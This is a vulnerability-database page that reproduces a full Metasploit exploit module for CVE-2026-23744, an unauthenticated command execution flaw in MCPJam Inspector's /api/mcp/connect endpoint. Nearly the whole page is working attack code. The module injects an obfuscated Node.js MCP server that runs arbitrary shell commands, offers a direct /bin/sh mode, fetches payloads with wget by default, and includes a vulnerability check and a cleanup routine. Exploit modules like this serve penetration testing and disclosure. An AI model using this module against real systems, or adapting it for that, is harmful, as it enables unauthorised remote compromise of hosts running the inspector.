...[ More ]
🗓️ 03 Sep 2026 00:00:00Reported by earthenvessel, Louay-075Type
packetstorm🔗 packetstorm.news👁 7 Views
10
# frozen_string_literal: true
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking
prepend Msf::Exploit::Remote::AutoCheck
include Msf::Exploit::Remote::HttpClient
def initialize(info = {})
super(
update_info(
info,
'Name' => 'MCPJam Inspector Connect API Command Execution',
'Description' => %q{
This module exploits an unauthenticated command execution vulnerability in
MCPJam Inspector. The /api/mcp/connect endpoint accepts a JSON serverConfig
object containing a command and argument list used to start an MCP server.
A remote attacker can abuse this endpoint to execute arbitrary operating
system commands as the user running MCPJam Inspector.
By default, this module starts a transient Node.js stdio MCP server, then
invokes a tool that executes the Metasploit command payload. A direct
/bin/sh -c mode is also available via EXEC_METHOD=direct_sh, but the MCP
tool mode is more reliable when the inspector expects a valid MCP
handshake.
},
'License' => MSF_LICENSE,
'Author' => [
'Louay-075', # PoC author
'earthenvessel' # Metasploit module
],
'References' => [
['CVE', '2026-23744'],
['URL', 'https://github.com/mcpjam/inspector'],
['URL', 'https://packetinside.github.io/cves/cve-2026-23744/']
],
'DisclosureDate' => '2026-01-16',
'Payload' => {
'Space' => 8192,
'DisableNops' => true
},
'Privileged' => false,
'Targets' => [
[
'Unix/Linux Command',
{
'Platform' => %w[unix linux],
'Arch' => ARCH_CMD,
'DefaultOptions' => {
'FETCH_COMMAND' => 'WGET'
}
}
]
],
'DefaultTarget' => 0,
'DefaultOptions' => {
'SSL' => true,
'RPORT' => 443
},
'Notes' => {
'Stability' => [CRASH_SAFE],
'Reliability' => [REPEATABLE_SESSION],
'SideEffects' => [IOC_IN_LOGS]
}
)
)
register_options(
[
OptString.new('TARGETURI', [true, 'Base path for MCPJam Inspector', '/']),
OptString.new('SERVER_ID', [true, 'Server ID to use for the transient MCP connection', random_server_id]),
OptEnum.new('EXEC_METHOD', [true, 'Command dispatch method', 'mcp_tool', ['mcp_tool', 'direct_sh']]),
OptBool.new('FETCH_OUTPUT', [true, 'Fetch command output from the MCP tool response', false])
]
)
end
def base_path
normalize_uri(target_uri.path)
end
def connect_path
normalize_uri(base_path, 'api', 'mcp', 'connect')
end
def tools_execute_path
normalize_uri(base_path, 'api', 'mcp', 'tools', 'execute')
end
def delete_server_path(id)
normalize_uri(base_path, 'api', 'mcp', 'servers', id)
end
def random_server_id(prefix = 'msf')
"#{prefix}-#{Rex::Text.rand_text_alphanumeric(8)}"
end
def mcp_tool_names
names = {}
%i[
readline fetch_default send_response response line message error child_process arguments command fetch_output
exec_error stdout stderr child tool_name command_key fetch_output_key
].each do |name|
random_name = "_#{Rex::Text.rand_text_alpha_lower(8)}"
random_name = "_#{Rex::Text.rand_text_alpha_lower(8)}" while names.value?(random_name)
names[name] = random_name
end
names
end
def post_connect(config, id:, timeout: 20)
send_request_cgi(
{
'method' => 'POST',
'uri' => connect_path,
'ctype' => 'application/json',
'data' => {
'serverId' => id,
'serverConfig' => config
}.to_json
},
timeout
)
end
def mcp_tool_payload(names, fetch_output: false)
fetch_output_literal = fetch_output ? 'true' : 'false'
%{
const #{names[:readline]}=require('readline').createInterface({input:process.stdin});
const #{names[:fetch_default]}=#{fetch_output_literal};
function #{names[:send_response]}(#{names[:response]}){process.stdout.write(JSON.stringify(#{names[:response]})+'\\n')}
#{names[:readline]}.on('line',function(#{names[:line]}){
let #{names[:message]}; try{#{names[:message]}=JSON.parse(#{names[:line]})}catch(#{names[:error]}){return}
if(#{names[:message]}.method==='initialize'){
#{names[:send_response]}({jsonrpc:'2.0',id:#{names[:message]}.id,result:{protocolVersion:'2024-11-05',capabilities:{tools:{}},serverInfo:{name:'svc',version:'1.0.0'}}});
} else if(#{names[:message]}.method==='notifications/initialized'){
} else if(#{names[:message]}.method==='tools/list'){
#{names[:send_response]}({jsonrpc:'2.0',id:#{names[:message]}.id,result:{tools:[{name:'#{names[:tool_name]}',description:'run command',inputSchema:{type:'object',properties:{#{names[:command_key]}:{type:'string'},#{names[:fetch_output_key]}:{type:'boolean'}},required:['#{names[:command_key]}']}}]}});
} else if(#{names[:message]}.method==='tools/call'){
const #{names[:child_process]}=require('child_process');
const #{names[:arguments]}=(#{names[:message]}.params&&#{names[:message]}.params.arguments)||{};
const #{names[:command]}=#{names[:arguments]}['#{names[:command_key]}']||'id';
const #{names[:fetch_output]}=#{names[:arguments]}['#{names[:fetch_output_key]}']===undefined?#{names[:fetch_default]}:!!#{names[:arguments]}['#{names[:fetch_output_key]}'];
if(#{names[:fetch_output]}){
#{names[:child_process]}.exec(#{names[:command]},{timeout:30000},function(#{names[:exec_error]},#{names[:stdout]},#{names[:stderr]}){
#{names[:send_response]}({jsonrpc:'2.0',id:#{names[:message]}.id,result:{content:[{type:'text',text:(#{names[:stdout]}||'')+(#{names[:stderr]}||'')+(#{names[:exec_error]}?String(#{names[:exec_error]}):'')}],isError:!!#{names[:exec_error]}}});
});
} else {
const #{names[:child]}=#{names[:child_process]}.spawn('/bin/sh',['-c',#{names[:command]}],{detached:true,stdio:'ignore'});
#{names[:child]}.unref();
#{names[:send_response]}({jsonrpc:'2.0',id:#{names[:message]}.id,result:{content:[{type:'text',text:'Command dispatched'}],isError:false}});
}
} else if(#{names[:message]}.id!==undefined){
#{names[:send_response]}({jsonrpc:'2.0',id:#{names[:message]}.id,result:{}});
}
});
}.strip
end
def start_mcp_tool_server(id, names, fetch_output: datastore['FETCH_OUTPUT'])
print_status("Starting transient Node.js MCP command server as server ID #{id}")
post_connect(
{
'command' => 'node',
'args' => ['-e', mcp_tool_payload(names, fetch_output: fetch_output)]
},
id: id,
timeout: 20
)
end
def execute_mcp_tool(id, cmd, names, fetch_output: datastore['FETCH_OUTPUT'])
send_request_cgi(
{
'method' => 'POST',
'uri' => tools_execute_path,
'ctype' => 'application/json',
'data' => {
'serverId' => id,
'toolName' => names[:tool_name],
'parameters' => {
names[:command_key] => cmd,
names[:fetch_output_key] => fetch_output
}
}.to_json
},
35
)
end
def cleanup_mcp_server(id)
send_request_cgi('method' => 'DELETE', 'uri' => delete_server_path(id)) if id
end
def check
res = send_request_cgi(
'method' => 'GET',
'uri' => base_path
)
return CheckCode::Unknown('No response from the target') unless res
unless res.code == 200 && res.body&.include?('MCPJam Inspector')
return CheckCode::Safe('The target does not appear to be MCPJam Inspector')
end
res = send_request_cgi(
'method' => 'POST',
'uri' => connect_path,
'ctype' => 'application/json',
'data' => { 'serverId' => random_server_id('check') }.to_json
)
return CheckCode::Detected('MCPJam Inspector was detected, but the connect endpoint could not be verified') unless res
json = res.get_json_document
auth_text = [
json['error'],
json['message'],
json['hint']
].compact.join(' ')
if [401, 403].include?(res.code) && auth_text.match?(/unauthorized|session token|required|X-MCP-Session-Auth/i)
return CheckCode::Safe('MCPJam Inspector requires session-token authentication for the connect endpoint')
end
unless res.code == 400 && json['error'].to_s.include?('serverConfig is required')
return CheckCode::Detected('MCPJam Inspector was detected, but the connect endpoint response was unexpected')
end
id = random_server_id('check')
marker = Rex::Text.rand_text_alphanumeric(12)
names = mcp_tool_names
res = start_mcp_tool_server(id, names, fetch_output: true)
unless res&.code == 200
return CheckCode::Detected('MCPJam Inspector connect endpoint is reachable, but command execution could not be confirmed')
end
res = execute_mcp_tool(id, "printf #{marker}", names, fetch_output: true)
return CheckCode::Detected('MCPJam Inspector command execution could not be confirmed') unless res&.code == 200
output = res.get_json_document.dig('result', 'content', 0, 'text').to_s
if output.include?(marker)
return CheckCode::Vulnerable('MCPJam Inspector executed a benign command through the unauthenticated connect endpoint')
end
CheckCode::Detected('MCPJam Inspector command execution response did not contain the expected marker')
rescue JSON::ParserError
CheckCode::Detected('MCPJam Inspector was detected, but an endpoint returned invalid JSON')
rescue StandardError => e
CheckCode::Unknown("Unable to complete check: #{e.class}: #{e.message}")
ensure
cleanup_mcp_server(id) if id
end
def execute_direct_sh(cmd, id)
print_status("Sending direct /bin/sh command via MCPJam connect endpoint as server ID #{id}")
res = post_connect(
{
'command' => '/bin/sh',
'args' => ['-c', cmd]
},
id: id,
timeout: 20
)
if res.nil?
print_status('No HTTP response received after command dispatch')
return
end
case res.code
when 200
print_good('Command dispatched and the target returned success')
when 500
print_status("Command dispatched; target returned #{res.code} #{res.message}, which is expected for non-MCP payloads")
else
print_warning("Unexpected response after command dispatch: HTTP #{res.code} #{res.message}")
vprint_line(res.body.to_s)
end
end
def execute_via_mcp_tool(cmd, id)
names = mcp_tool_names
res = start_mcp_tool_server(id, names)
fail_with(Failure::Unreachable, 'No HTTP response received while starting MCP command server') unless res
unless res.code == 200
fail_with(Failure::UnexpectedReply, "Failed to start MCP command server: HTTP #{res.code} #{res.message} #{res.body}")
end
print_good('MCP command server connected')
print_status('Executing payload through MCP tools/execute')
res = execute_mcp_tool(id, cmd, names)
if res.nil?
print_status('No HTTP response received after tool execution')
return
end
unless res.code == 200
print_warning("Unexpected tools/execute response: HTTP #{res.code} #{res.message}")
vprint_line(res.body.to_s)
return
end
result = res.get_json_document
text = result.dig('result', 'content', 0, 'text').to_s
if datastore['FETCH_OUTPUT']
print_status("Command result: #{text.strip}") unless text.empty?
else
vprint_status("MCP tool response: #{text.strip}") unless text.empty?
end
rescue JSON::ParserError
print_warning('Tools/execute returned non-JSON output')
ensure
cleanup_mcp_server(id)
end
def execute_command(cmd, _opts = {})
id = datastore['SERVER_ID']
if datastore['EXEC_METHOD'] == 'direct_sh'
execute_direct_sh(cmd, id)
else
execute_via_mcp_tool(cmd, id)
end
end
def exploit
execute_command(payload.encoded)
end
endData
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation
03 Sep 2026 00:00Current
CVSS 3.19.8
EPSS0.45026
SSVC